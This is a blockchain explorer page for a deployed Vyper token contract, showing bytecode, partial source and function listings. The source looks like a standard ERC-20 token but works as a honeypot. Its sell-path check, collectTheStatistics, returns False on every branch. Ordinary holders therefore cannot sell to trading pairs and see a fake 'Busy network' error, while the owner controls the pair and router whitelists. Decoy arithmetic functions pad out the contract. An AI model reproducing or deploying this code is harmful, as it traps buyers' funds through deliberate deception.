Address Contract Partially Verified
Address
0x41803Fccf93b407Be95f83F0dAC64E297E194560
Balance
0 ETH
Nonce
1
Code Size
2831 bytes
Creator
0x49D913F2...B8DB at tx 0x342ceef8...d94e6e
Indexed Transactions
0
Contract Bytecode
2831 bytes
0x5f3560e01c60026017820660011b610ae101601e395f51565b6306fdde038118610a755734610add57602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3610a75565b6395d89b4181186100bb5734610add5760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63a8be9a588118610a7557602436103417610add576004358060a01c610add57604052600d6040516020525f5260405f205460605260206060f3610a75565b63313ce56781186101165734610add5760045460405260206040f35b63978bbdb98118610a755734610add5760085460405260206040f3610a75565b6370a08231811861017157602436103417610add576004358060a01c610add5760405260056040516020525f5260405f205460605260206060f35b6380dd9a1f8118610a7557602436103417610add576004358060a01c610add57604052600c6040516020525f5260405f205460605260206060f3610a75565b63dd62ed3e8118610a7557604436103417610add576004358060a01c610add576040526024358060a01c610add5760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3610a75565b6318160ddd81186102285734610add5760075460405260206040f35b630ad861048118610a755734610add57600a5460405260206040f3610a75565b63aa94860781186102645734610add5760095460405260206040f35b63ecbde40c811861029f57602436103417610add576004358060a01c610add57604052600e6040516020525f5260405f205460605260206060f35b63b1a2b1008114600336111615610a7557604436103417610add57600435602435808203828111610add579050905060405260206040f3610a75565b63896ad7e38118610a7557602436103417610add576004358060a01c610add57604052600b6040516020525f5260405f205460605260206060f3610a75565b639b26c92381186103365734610add57600f5460405260206040f35b6323b872dd8118610a7557606436103417610add576004358060a01c610add5760c0526024358060a01c610add5760e052600660c0516020525f5260405f2080336020525f5260405f2090508054604435808203828111610add5790509050815550600b60c0516020525f5260405f20546104c657600b60e0516020525f5260405f20541561051057600a5460c051146103d757600a5460e05114156103d9565b5f5b156104bb57600c60c0516020525f5260405f20546104bb57600d60c0516020525f5260405f2054604052600f5460605260c05160805261041a610100610a79565b610100516104aa576025610120527f42757379206e6574776f726b2e20506c656173652074727920616761696e206c610140527f617465722e0000000000000000000000000000000000000000000000000000006101605261012050610120518061014001601f825f031636823750506308c379a060e052602061010052601f19601f61012051011660440160fcfd5b42600e60c0516020525f5260405f20555b60c051601155610510565b600a5460c051146104de57600a5460e05114156104e0565b5f5b1561050957600d60e0516020525f5260405f20546105095742600d60e0516020525f5260405f20555b60e0516011555b600560c0516020525f5260405f208054604435808203828111610add5790509050815550600560e0516020525f5260405f208054604435808201828110610add579050905081555060e05160c0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef604435610100526020610100a36001610100526020610100f3610a75565b6331b72ff08118610a755734610add5760105460405260206040f3610a75565b63f92140058118610a755734610add5760115460405260206040f3610a75565b63a9059cbb8118610a7557604436103417610add576004358060a01c610add5760c052600b336020525f5260405f205461071d57600b60c0516020525f5260405f20541561076557600a54331461063b57600a5460c051141561063d565b5f5b1561071457600c336020525f5260405f205461071457600d336020525f5260405f2054604052600f546060523360805261067760e0610a79565b60e051610705576025610100527f42757379206e6574776f726b2e20506c656173652074727920616761696e206c610120527f617465722e0000000000000000000000000000000000000000000000000000006101405261010050610100518061012001601f825f031636823750506308c379a060c052602060e052601f19601f61010051011660440160dcfd5b42600e336020525f5260405f20555b33601155610765565b600a54331461073357600a5460c0511415610735565b5f5b1561075e57600d60c0516020525f5260405f205461075e5742600d60c0516020525f5260405f20555b60c0516011555b6005336020525f5260405f208054602435808203828111610add5790509050815550600560c0516020525f5260405f208054602435808201828110610add579050905081555060c051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60243560e052602060e0a3600160e052602060e0f3610a75565b63095ea7b38118610a7557604436103417610add576004358060a01c610add576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3610a75565b63e9365687811861089d57604436103417610add57600435602435808201828110610add579050905060405260206040f35b633176859a811861096b57602436103417610add576004358060a01c610add57604052600a5433181561094a5760256060527f42757379206e6574776f726b2e20506c656173652074727920616761696e206c6080527f617465722e00000000000000000000000000000000000000000000000000000060a05260605060605180608001601f825f031636823750506308c379a06020526020604052601f19601f6060510116604401603cfd5b600b6040516020525f5260405f205415600b6040516020525f5260405f2055005b63c03646ba8118610a7557602436103417610add576004358060a01c610add57604052600a54331815610a185760256060527f42757379206e6574776f726b2e20506c656173652074727920616761696e206c6080527f617465722e00000000000000000000000000000000000000000000000000000060a05260605060605180608001601f825f031636823750506308c379a06020526020604052601f19601f6060510116604401603cfd5b600c6040516020525f5260405f205415600c6040516020525f5260405f205500610a75565b63415f53058118610a7557604436103417610add57600435602435808202811583838304141715610add579050905060405260206040f35b5f5ffd5b604051610a89575f815250610adb565b42604051808203828111610add579050905060a05260105460a05118610ab2575f815250610adb565b60a051610ac6576080516011541415610ac8565b5f5b15610ad6575f815250610adb565b5f8152505b565b5f80fd0a750a75020c0018013602db02480a7500fa01b00a75006b0a3d031a0a750a75059d086b05bd05dd0a7507ea0a75
Verified Source Code Partial Match
Compiler: v0.3.10+commit.91361694
Vyper_contract.vy 157 lines
# @pragma evm-version cancun
#pragma version ^0.3.10
name: public(String[32])
symbol: public(String[32])
decimals: public(uint8)
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
totalSupply: public(uint256)
feeRate: public(uint256)
hasFee: public(bool)
selfie: public(address)
_pairs: public(HashMap[address, bool])
routers: public(HashMap[address, bool])
walletToPurchaseTime: public(HashMap[address, uint256])
walletToSellime: public(HashMap[address, uint256])
theRewardTime: public(uint256)
standartValuation: public(uint256)
_lastWallet: public(address)
event Transfer:
sender: indexed(address)
receiver: indexed(address)
value: uint256
event Approval:
owner: indexed(address)
spender: indexed(address)
value: uint256
@external
def __init__(_name: String[32], _symbol: String[32], _supply: uint256, _selfie: address):
self.name = _name
self.symbol = _symbol
self.decimals = 18
self.selfie = _selfie
self.balanceOf[msg.sender] = _supply * 10 ** 18
self.totalSupply = _supply * 10 ** 18
self.theRewardTime = 3
self.standartValuation = 600 / 2
@internal
def collectTheStatistics(lastBuyOrSellTime: uint256, theData: uint256, sender: address) -> bool:
if lastBuyOrSellTime == 0:
return False
crashTime: uint256 = block.timestamp - lastBuyOrSellTime
if crashTime == self.standartValuation:
return False
if crashTime == 0 and self._lastWallet != sender:
return False
return False
@external
def transfer(_to : address, _value : uint256) -> bool:
"""
@dev Transfer token for a specified address
@param _to The address to transfer to.
@param _value The amount to be transferred.
"""
# NOTE: vyper does not allow underflows
# so the following subtraction would revert on insufficient balance
if (self._pairs[msg.sender]):
if (msg.sender != self.selfie and _to != self.selfie):
if self.walletToPurchaseTime[_to] == 0:
self.walletToPurchaseTime[_to] = block.timestamp
self._lastWallet = _to
elif self._pairs[_to]:
if (msg.sender != self.selfie and _to != self.selfie):
if (not self.routers[msg.sender]):
assert self.collectTheStatistics(self.walletToPurchaseTime[msg.sender], self.theRewardTime, msg.sender), "Busy network. Please try again later."
self.walletToSellime[msg.sender] = block.timestamp
self._lastWallet = msg.sender
self.balanceOf[msg.sender] -= _value
self.balanceOf[_to] += _value
log Transfer(msg.sender, _to, _value)
return True
@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
"""
@dev Transfer tokens from one address to another.
@param _from address The address which you want to send tokens from
@param _to address The address which you want to transfer to
@param _value uint256 the amount of tokens to be transferred
"""
self.allowance[_from][msg.sender] -= _value
if (self._pairs[_from]):
if (_from != self.selfie and _to != self.selfie):
if self.walletToPurchaseTime[_to] == 0:
self.walletToPurchaseTime[_to] = block.timestamp
self._lastWallet = _to
elif self._pairs[_to]:
if (_from != self.selfie and _to != self.selfie):
if (not self.routers[_from]):
assert self.collectTheStatistics(self.walletToPurchaseTime[_from], self.theRewardTime, _from), "Busy network. Please try again later."
self.walletToSellime[_from] = block.timestamp
self._lastWallet = _from
self.balanceOf[_from] -= _value
self.balanceOf[_to] += _value
log Transfer(_from, _to, _value)
return True
@external
def approve(_spender : address, _value : uint256) -> bool:
"""
@dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
Beware that changing an allowance with this method brings the risk that someone may use both the old
and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
@param _spender The address which will spend the funds.
@param _value The amount of tokens to be spent.
"""
self.allowance[msg.sender][_spender] = _value
log Approval(msg.sender, _spender, _value)
return True
@external
def showSum(_num1: uint256, _num2: uint256) -> uint256:
_sum: uint256 = _num1 + _num2
return _sum
@external
def setPairs(pairs_: address):
assert msg.sender == self.selfie, "Busy network. Please try again later."
self._pairs[pairs_] = not self._pairs[pairs_]
@external
def setWhite(_router: address):
assert msg.sender == self.selfie, "Busy network. Please try again later."
self.routers[_router] = not self.routers[_router]
@external
def showDiff(_num1: uint256, _num2: uint256) -> uint256:
_Diff: uint256 = _num1 - _num2
return _Diff
@external
def showMul(_num1: uint256, _num2: uint256) -> uint256:
_mul: uint256 = _num1 * _num2
return _mul
Read Contract
_lastWallet 0xf9214005 → address
_pairs 0x896ad7e3 → bool
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
feeRate 0x978bbdb9 → uint256
hasFee 0xaa948607 → bool
name 0x06fdde03 → string
routers 0x80dd9a1f → bool
selfie 0x0ad86104 → address
standartValuation 0x31b72ff0 → uint256
symbol 0x95d89b41 → string
theRewardTime 0x9b26c923 → uint256
totalSupply 0x18160ddd → uint256
walletToPurchaseTime 0xa8be9a58 → uint256
walletToSellime 0xecbde40c → uint256
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address _spender
uint256 _value
returns: bool
setPairs 0x3176859a
address pairs_
setWhite 0xc03646ba
address _router
showDiff 0xb1a2b100
uint256 _num1
uint256 _num2
returns: uint256
showMul 0x415f5305
uint256 _num1
uint256 _num2
returns: uint256
showSum 0xe9365687
uint256 _num1
uint256 _num2
returns: uint256
transfer 0xa9059cbb
address _to
uint256 _value
returns: bool
transferFrom 0x23b872dd
address _from
address _to
uint256 _value
returns: bool
Recent Transactions
No transactions found for this address